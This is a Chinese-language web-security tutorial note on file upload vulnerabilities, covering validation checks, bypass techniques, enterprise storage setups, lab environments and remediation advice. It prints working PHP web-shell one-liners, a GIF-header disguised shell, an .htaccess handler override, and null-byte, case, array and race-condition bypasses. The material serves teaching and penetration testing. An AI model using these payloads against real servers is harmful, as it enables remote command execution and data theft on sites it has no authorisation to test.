第67天-Web攻防实战笔记:文件上传漏洞原理、绕过技巧与真实场景复盘

admin 2026-03-18 02:48:02 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文系统剖析Web文件上传漏洞,指出其本质是服务器错误解析文件。内容涵盖前端绕过、解析漏洞、条件竞争等十余种攻击手法,结合企业架构如OSS存储分析利用难点。文章提供实战环境搭建与SRC修复建议,强调需深入理解解析机制与文件生命周期以实施有效防御,具备较高实战指导价值。 综合评分: 89 文章分类: WEB安全,渗透测试,漏洞分析,实战经验


三、文件上传漏洞常见安全校验机制

现实系统通常不会允许任意文件上传,而是会增加安全验证。

主要包括以下几类。


1、无限制上传

最危险的情况。

服务器完全不做任何校验:

shell.php

直接上传即可执行。

这种漏洞在早期系统或内部系统中仍然存在。


2、后缀名校验

系统检查文件后缀:

if($ext != "jpg"){
    exit("only jpg");
}

但如果过滤不严,就会被绕过。

例如:

shell.php.jpg

或者:

shell.php3

3、MIME类型校验

服务器会检查HTTP请求头:

Content-Type: image/png

攻击者只需要修改请求包即可:

Content-Type: image/png

但实际文件内容仍然是:

<?php system($_GET['cmd']); ?>

4、文件头检测

某些系统会检测图片文件头。

例如:

GIF89a

攻击者只需构造:

GIF89a
<?php eval($_POST[1]); ?>

即可绕过。


四、文件上传绕过技术总结

真实渗透测试中,攻击者通常会组合多种技术。


1 前端JS验证绕过

很多网站只在前端进行验证。

例如:

<input type="file" accept="image/*">

判断方式:

抓包观察。

如果:

浏览器提示错误,但抓包没有上传请求

说明只是 前端校验

绕过方式:

直接抓包修改上传数据。


2 .htaccess解析漏洞

Apache支持 .htaccess

攻击者上传:

.htaccess

内容:

AddType application/x-httpd-php .png

之后上传:

shell.png

即可执行。


3 MIME类型伪造

请求包:

Content-Type: image/png

文件内容:

<?php system($_GET['cmd']); ?>

如果服务器只检查MIME类型,就会被绕过。


4 文件头伪造

构造图片头:

GIF89a

完整payload:

GIF89a
<?php eval($_POST[1]); ?>

5 黑名单过滤绕过

黑名单通常会过滤:

php
asp
jsp

但如果过滤不严:

pphphp
php3
php5

都可能绕过。


6 大小写绕过

某些系统区分大小写:

shell.PHP
shell.pHp

7 %00截断漏洞

低版本PHP 中存在。

例如:

shell.php%00.jpg

服务器解析时:

shell.php

但保存文件时:

shell.php.jpg

从而绕过过滤。


8 条件竞争漏洞

如果上传逻辑类似:

move_uploaded_file()

攻击者可以:

不断上传 + 不断访问

在文件删除前触发执行。

示例:

<?php eval($_REQUEST[1]); ?>

利用高频请求实现竞争执行。


9 二次渲染绕过

很多网站会对图片进行 重新渲染

流程:

1 上传图片

2 服务器重新生成图片

3 删除非法数据

攻击者方法:

1 上传正常图片 2 下载服务器渲染后的图片 3 对比保留字段 4 在保留字段中写入WebShell

再结合 文件包含漏洞 执行。


10 PHP函数缺陷

某些情况下:

move_uploaded_file("1.php","1.php/.")

可能导致路径解析异常。


11 数组绕过

部分代码:

$_POST['save_name']

如果没有正确处理数组。

攻击者可以发送:

save_name[0]=shell.php
save_name[1]=jpg

从而绕过校验。


五、真实企业环境中的文件上传架构

在真实企业环境中,文件上传往往更加复杂。

攻击方式也不同。


1 上传目录无执行权限

很多服务器会设置:

/upload

禁止执行脚本。

例如:

chmod -x

即使上传:

shell.php

也不会执行。

绕过条件:

能够控制上传目录路径

例如:

../../webroot/

2 数据编码存储

某些系统会:

base64编码

存储文件。

再在访问时解码。

这种情况下:

文件后缀无意义。

绕过难度较高。


3 分站存储架构

很多大型网站采用:

upload.example.com

负责上传

img.example.com

负责访问

例如:

upload.xiaodi8.com
images.xiaodi8.com

此时:

图片服务器通常只允许 静态访问

攻击者需要寻找:

解析配置漏洞。


4 OSS对象存储

现代网站大量使用:

  • 阿里云 OSS

  • AWS S3

  • 腾讯 COS

核心权限:

Bucket Access Control

如果:

Public Read

则所有人可访问。

但通常:

无法直接执行脚本。

因此利用难度较高。


六、文件上传漏洞常见应用场景

真实漏洞通常出现在以下位置:

1 用户注册头像上传

/upload/avatar

2 API上传接口

例如:

/api/upload

3 后台管理系统

例如:

/admin/upload

4 三方编辑器

例如:

  • UEditor

  • KindEditor

  • CKEditor

历史上出现过大量上传漏洞。


5 源码泄露后的审计

通过代码审计发现:

upload.php

存在逻辑漏洞。


七、漏洞复现环境搭建

建议使用以下环境进行练习。

f8x环境

https://github.com/ffffffff0x/f8x

一键部署漏洞环境。

安装:

f8x -d

f8x -docker

upload-labs

https://github.com/sqlsec/upload-labs-docker

部署:

docker-compose up -d

即可获得完整的文件上传漏洞实验环境。


八、SRC漏洞报告复盘

企业SRC中,文件上传漏洞通常会被评为:

高危漏洞

影响包括:

  • WebShell控制服务器

  • 获取数据库权限

  • 横向渗透内网

  • 数据窃取

  • 持久化控制

典型漏洞报告结构:

漏洞标题
漏洞描述
漏洞复现步骤
漏洞影响
漏洞修复建议

修复方式:

  • 严格白名单校验

  • 文件内容检测

  • 上传目录禁止执行

  • 随机文件名

  • OSS安全配置


结语

文件上传漏洞看似简单,但真正的难点在于:

服务器解析机制 + 安全策略 + 架构设计。

真正的高手在测试上传漏洞时,往往会思考:

  • 解析在哪里发生?

  • 文件最终存储在哪里?

  • 哪个组件负责处理?

  • 是否存在二次处理流程?

只有把整个 文件生命周期 看清楚,才能真正挖出高价值漏洞。


如果把 Web 渗透比作一场战争:

文件上传漏洞,就是最经典的“城门入口”。

一旦城门被打开,整个系统都会暴露在攻击者面前。

而真正的安全高手,永远在研究:

这扇门到底是怎么被打开的。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet 萧瑶 萧瑶《第67天-Web攻防实战笔记:文件上传漏洞原理、绕过技巧与真实场景复盘》

评论:0   参与:  0